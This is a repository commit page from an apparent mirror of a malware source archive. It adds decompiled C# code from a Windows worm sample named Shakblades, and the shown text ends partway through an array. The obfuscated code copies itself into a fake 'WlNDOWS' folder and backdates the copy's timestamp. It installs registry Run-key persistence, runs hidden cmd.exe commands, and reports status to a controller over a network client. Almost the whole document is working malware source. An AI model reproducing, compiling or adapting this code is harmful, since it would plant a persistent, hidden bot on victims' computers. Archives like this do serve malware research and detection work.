mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: Guid("00000000-0000-0000-0000-000000000000")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>dns-sd</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Ҧ߲๒ʽ໙ୄᴘ</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ᱠ.cs" />
|
||||
<Compile Include="ᤨᔾዔ.cs" />
|
||||
<Compile Include=".cs" />
|
||||
<Compile Include="߶ᒸৃ.cs" />
|
||||
<Compile Include="±ჵઆЩᎮɀኤʨՃ.cs" />
|
||||
<Compile Include="٧Ѹ.cs" />
|
||||
<Compile Include="ʤ༲Ṁ.cs" />
|
||||
<Compile Include="ᐃ੍ẽϝᕦ.cs" />
|
||||
<Compile Include="ᛷḼဩ.cs" />
|
||||
<Compile Include="ɱªᕢ᳭ᬻ˫ԧᵢ.cs" />
|
||||
<Compile Include="ȸº᭰ৼ.cs" />
|
||||
<Compile Include="ᘽƭ.cs" />
|
||||
<Compile Include="ťႻϓᕍభ.cs" />
|
||||
<Compile Include="Јᝮᢶᯀ.cs" />
|
||||
<Compile Include="Ѡኑ.cs" />
|
||||
<Compile Include="ᙐᗡѬᵲ૦ᵛଔѥቾ.cs" />
|
||||
<Compile Include="ȩזြڹᡡỾỔው.cs" />
|
||||
<Compile Include="ᛕᔱᨈكအན.cs" />
|
||||
<Compile Include="෧ᠮबZố.cs" />
|
||||
<Compile Include="์ኘ᳒ধڿቷ፳৶.cs" />
|
||||
<Compile Include="ಡભ᭻.cs" />
|
||||
<Compile Include="៷˴ᄨᥨᗽ.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="b.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dns-sd", "Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.csproj", "{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{25BFABB9-8ACE-48F4-9CB4-9A0DB1AFDEE5}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+7976
File diff suppressed because it is too large
Load Diff
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.±ჵઆЩᎮɀኤʨՃ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u00B1ჵઆЩᎮɀኤʨՃ : EventArgs
|
||||
{
|
||||
private int ộ\u08D4\u07F9ԑ;
|
||||
|
||||
public \u00B1ჵઆЩᎮɀኤʨՃ(int sent) => this.ộ\u08D4\u07F9ԑ = sent;
|
||||
|
||||
public int ệ୯\u1B62᷊ => this.ộ\u08D4\u07F9ԑ;
|
||||
}
|
||||
}
|
||||
+525
File diff suppressed because one or more lines are too long
+44
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ȩזြڹᡡỾỔው
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ȩזြڹᡡỾỔው
|
||||
{
|
||||
public static string ᨌᘧᙍ͎ොᘥກਢᙰ = "Sk9IWVNIW0hVFVVW54vIHhRQVxVJUGElGSUYYw==";
|
||||
public static string ౡ\u000F = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WlNDOWS\\Services";
|
||||
public static string \u0CEE᮸ᴑ = "fZyWm6GSn4CSLWiOSZ+jlpCSW5Klkg==";
|
||||
public static string \u1B65ᬧౢzƎ = "e5KhhJKOoy1ojkmScJmWkpuh";
|
||||
public static string \u02DBˬଋธ = "e5KhhJKOoy1ojkmScJmWkpuh";
|
||||
public static string ụү᳗ = "qGVfb3FkXnBfWnFkZGJaYWNvci1ojklabnNkXlpzc19vb29fZG9iZG6q";
|
||||
public static string \u1BFFᜳتכ\u0D5A\u0BF7ᅮᜯ = "7R86O1GRVOR5";
|
||||
public static string \u0CB4\u0024րড়ᩋ = "1.6";
|
||||
public static string ᠧᏄࣧެΙά\u066A = "Plugins";
|
||||
public static string \u187Dठ\u1371aːࠍؒ\u0A7Dᇁ = "Software\\Microsoft\\Protected Storage System Provider";
|
||||
public static string ᆳ͐ሱ = "9fjSYCY=";
|
||||
public static string ᗜྷ = string.Empty;
|
||||
public static int \u09F6ϸ = 10;
|
||||
public static bool ጅũކᠾߠጇᔰᏫ = true;
|
||||
public static bool \u1C42\u193Eᙁᖔᠮ೬\u1BFB = true;
|
||||
public static bool கພ༢ਊȷඣᯇᝨ = false;
|
||||
public static bool ԑᅤᴨᡰ\u02EFᣢỳ = false;
|
||||
public static bool \u0B3Fᜓƙ = false;
|
||||
public static bool \u17C1\u0F08ሜᅧᏀᒾ\u0EFB᪲ = false;
|
||||
public static bool \u1943ᤖᤠᗎ = false;
|
||||
public static bool \u1A98ᐖᅹ\u10CEጆ\u0AFFÕဥ = false;
|
||||
public static bool όᘂ\u1CCCᥓ\u005B = false;
|
||||
public static bool \u0B6E೮ᔙᩢ᷵ጔổ = false;
|
||||
public static bool \u17E3බᠥೋ\u1BF6\u0A00\u0B0EឍЇ = false;
|
||||
public static bool \u09C7 = true;
|
||||
public static bool \u0ADC\u17ECᦱЍᗙᦜޛĒ\u0E4F = true;
|
||||
public static bool ᘳ\u1AAAຟФƌ\u0C54Ͻ᷾ = true;
|
||||
public static RegistryHive Փᬃᜐᣖ̗ᨠᵴ = RegistryHive.CurrentUser;
|
||||
public static byte[] إ\u02E7 = (byte[]) null;
|
||||
}
|
||||
}
|
||||
+193
@@ -0,0 +1,193 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ɱªᕢ᳭ᬻ˫ԧᵢ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ɱªᕢ᳭ᬻ\u02EBԧᵢ
|
||||
{
|
||||
public static void ᅰ()
|
||||
{
|
||||
ɱªᕢ᳭ᬻ\u02EBԧᵢ.P();
|
||||
ɱªᕢ᳭ᬻ\u02EBԧᵢ.ᯁព();
|
||||
ɱªᕢ᳭ᬻ\u02EBԧᵢ.ᶏපϔẞ();
|
||||
}
|
||||
|
||||
private static void P()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(ȩזြڹᡡỾỔው.ౡ\u000F))
|
||||
Directory.CreateDirectory(ȩזြڹᡡỾỔው.ౡ\u000F);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)), true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
if (ȩזြڹᡡỾỔው.\u09C7)
|
||||
{
|
||||
Random random = new Random();
|
||||
int day = random.Next(1, 28);
|
||||
int month = random.Next(1, 12);
|
||||
int year = random.Next(2000, DateTime.Now.Year);
|
||||
Directory.SetCreationTime(Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)), new DateTime(year, month, day));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (ȩזြڹᡡỾỔው.όᘂ\u1CCCᥓ\u005B)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(ȩזြڹᡡỾỔው.ౡ\u000F, FileAttributes.Hidden | FileAttributes.NotContentIndexed);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (!ȩזြڹᡡỾỔው.\u0B6E೮ᔙᩢ᷵ጔổ)
|
||||
return;
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Path.Combine(ȩזြڹᡡỾỔው.ౡ\u000F, \u1928ᔾዔ.յ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)), FileAttributes.Hidden | FileAttributes.NotContentIndexed);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void ᶏපϔẞ()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ȩזြڹᡡỾỔው.\u1C42\u193Eᙁᖔᠮ೬\u1BFB)
|
||||
Registry.CurrentUser.CreateSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).SetValue(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u1B65ᬧౢzƎ, true), (object) (ȩזြڹᡡỾỔው.ౡ\u000F + "\\" + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
if (ȩזြڹᡡỾỔው.கພ༢ਊȷඣᯇᝨ)
|
||||
Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).SetValue(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u1B65ᬧౢzƎ, true), (object) (ȩזြڹᡡỾỔው.ౡ\u000F + "\\" + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
if (!ȩזြڹᡡỾỔው.ԑᅤᴨᡰ\u02EFᣢỳ)
|
||||
return;
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FhIJFxoEFQgfECwmNTI2Mik3HwQmNyw5KOPDvpzrFig3ODMfDDE2NyQvLygn4wYyMDMyMSgxNzYf", true) + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.ụү᳗, true));
|
||||
subKey.SetValue("Fjc4JcO+nOsTJDcr", (object) (ȩזြڹᡡỾỔው.ౡ\u000F + "\\" + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)));
|
||||
subKey.SetValue("BjAGKzC99eEAMR4pKSIh", (object) 1, RegistryValueKind.DWord);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void ᯁព()
|
||||
{
|
||||
try
|
||||
{
|
||||
Process process = new Process();
|
||||
process.StartInfo = new ProcessStartInfo()
|
||||
{
|
||||
FileName = "cmd.exe",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardInput = true,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
process.Start();
|
||||
StreamWriter standardInput = process.StandardInput;
|
||||
standardInput.WriteLine("cd " + ȩזြڹᡡỾỔው.ౡ\u000F);
|
||||
standardInput.WriteLine(string.Format(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("KCYrMuMePTIxKBc1JDE2KSg1IB0yMSgMB8O+nOvjAOP14wHjPvNA/R0SEQjxLCcoMTcsKSwoNQ==", true), (object) \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u0CEE᮸ᴑ, true)));
|
||||
standardInput.Close();
|
||||
process.Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u171D\u0018ẖေᒷᐦᵨỨ()
|
||||
{
|
||||
try
|
||||
{
|
||||
Registry.CurrentUser.CreateSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).DeleteValue(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u1B65ᬧౢzƎ, true));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).DeleteValue(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.\u02DBˬଋธ, true));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
Registry.LocalMachine.DeleteSubKey(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("FhIJFxoEFQgfECwmNTI2Mik3HwQmNyw5KOPDvpzrFig3ODMfDDE2NyQvLygn4wYyMDMyMSgxNzYf", true) + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ȩזြڹᡡỾỔው.ụү᳗, true));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
switch (ȩזြڹᡡỾỔው.Փᬃᜐᣖ̗ᨠᵴ)
|
||||
{
|
||||
case RegistryHive.CurrentUser:
|
||||
Registry.CurrentUser.DeleteSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ);
|
||||
break;
|
||||
case RegistryHive.LocalMachine:
|
||||
Registry.LocalMachine.DeleteSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
ɱªᕢ᳭ᬻ\u02EBԧᵢ.\u0AFD();
|
||||
}
|
||||
|
||||
public static void \u0AFD()
|
||||
{
|
||||
try
|
||||
{
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
File.Delete(tempFileName);
|
||||
File.Move(Process.GetCurrentProcess().MainModule.FileName, tempFileName);
|
||||
\u0667Ѹ.\u1936\u0A50Ȁ\u0A84ᠬ\u1AE7(tempFileName, (string) null, \u0667Ѹ.ቩᩬᐜ̯ṅडၿ.ᑹ\u17FCנᒞ͍ሴǒ);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public enum \u0EF7ᶟᔂᢪĉᤘᢁַắ
|
||||
{
|
||||
የ᠖\u0E6Cᬰᥥ,
|
||||
ฏᆈǸ᱙Ȏ\u1CFD༾,
|
||||
\u05AFᩚၡ\u00F7ᩯ\u1B4Cጝ,
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ʤ༲Ṁ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ʤ\u0F32\u0B7EṀ
|
||||
{
|
||||
private static Thread ಯཨޠᔹ;
|
||||
private static List<\u07F6\u181Fᒸৃ> ڇᜱ\u08DAᑡࣺ\u139F = new List<\u07F6\u181Fᒸৃ>();
|
||||
|
||||
public static void \u09EBલڄቷóᅭጫ(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Add(_param0);
|
||||
|
||||
public static void ᅝᯤ็\u0E70\u18AD\u1391ᨼᅬ\u0BDC(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Remove(_param0);
|
||||
|
||||
public static void оԗสᱢȫ݉()
|
||||
{
|
||||
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ = new Thread(new ThreadStart(ʤ\u0F32\u0B7EṀ.ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ));
|
||||
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Start();
|
||||
}
|
||||
|
||||
private static void ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ()
|
||||
{
|
||||
WebClient webClient = new WebClient();
|
||||
while (true)
|
||||
{
|
||||
while (ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count >= 1)
|
||||
{
|
||||
ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ();
|
||||
for (int index = 0; index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count; ++index)
|
||||
{
|
||||
if (index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index] != null && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].\u0557)
|
||||
ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u1F16Ʈᝐ\u0F6Dṡ\u0E85, Encoding.Default.GetBytes(ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ())).ᖣᅸڨฃ());
|
||||
}
|
||||
Thread.Sleep(TimeSpan.FromSeconds(60.0));
|
||||
}
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
}
|
||||
|
||||
public static void ࢪၾᙠஈĊ()
|
||||
{
|
||||
if (ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ == null)
|
||||
return;
|
||||
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Abort();
|
||||
}
|
||||
|
||||
private static string ᥞᏕੂᬷ7ວ()
|
||||
{
|
||||
try
|
||||
{
|
||||
WebClient webClient = new WebClient();
|
||||
double tickCount = (double) Environment.TickCount;
|
||||
webClient.DownloadData("http://google.com/");
|
||||
double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0;
|
||||
Math.Round(num, 0);
|
||||
return Math.Round(1024.0 / num).ToString() + " KB\\Sec";
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return "Error";
|
||||
}
|
||||
}
|
||||
}
|
||||
+297
@@ -0,0 +1,297 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.Јᝮᢶᯀ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class Ј\u0EFA\u09B3ᝮᢶᯀ
|
||||
{
|
||||
private static Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C ᱽÇᖮᘸ\u09F5ࠍ\u0082ெ;
|
||||
private static bool \u1AA0;
|
||||
private static string ᧂɀᦰᣎᛪ\u0F30;
|
||||
private static int \u0EEBΝᝧԠ;
|
||||
private static int \u1087;
|
||||
private static int ዷᇰᒍɱౡ\u1A8Aᙦ;
|
||||
private static int ṹᎄ\u0027;
|
||||
private static \u07F6\u181Fᒸৃ ᔡᶄᴹᑗ;
|
||||
private static string[] \u0942 = new string[28]
|
||||
{
|
||||
"[W5aioKOUp5yVn5huU4CGfHgznRO9U2lhY25Tipyhl6KqplOBh1w=]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==]",
|
||||
"[OV6Ac3p9dmF5gH92MWRUYT5GRkFBQGZkQEI/QToxX3aFV4OAf4VARD9BMV5eYUBDP0ExOXSAfhE/sm2BcoV6c312TDFYgIB4fXZzgIVAQz9CTDF5hYWBS0BAiIiIP3iAgHh9dj90gH5Ac4CFP3mFfn06]",
|
||||
"[bHZ/bjE5aBE/sm16f19lTDFmOg==]",
|
||||
"[OXSAfoFyhXpzfXZMMV5kWlYxSD9BTBE/sm0xaHp/dYCIhDFfZTFGP0JMMXN4d4U6MQ==]",
|
||||
"[OXSAfoFyhXpzfXZMMV4RP7JtZFpWMUc/QUwxaHp/REM6]",
|
||||
"[OWlCQkwxZkwxXXp/hokxQz9FP0M+QzF6RklHTDF2fz5mZEwRP7JtMX5CSToxWHZ0fIBAQ0FBQkFCREIxX3aFhHRygXZHQEc/QUI=]",
|
||||
"[OWlCQkwxZkwxXXp/hokxekdJR0wxdn8+ZmQRP7JtTDGDh0tBP0o/RDoxWHZ0fIBAQ0FBQkFJQUI=]",
|
||||
"[OWSGf2BkMUY/STGEhn9FhkwRP7JtMWY6MWCBdoNyMUY/QTFsdn9u]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo0]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo1]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo2]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo3]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo4]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo5]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo6]",
|
||||
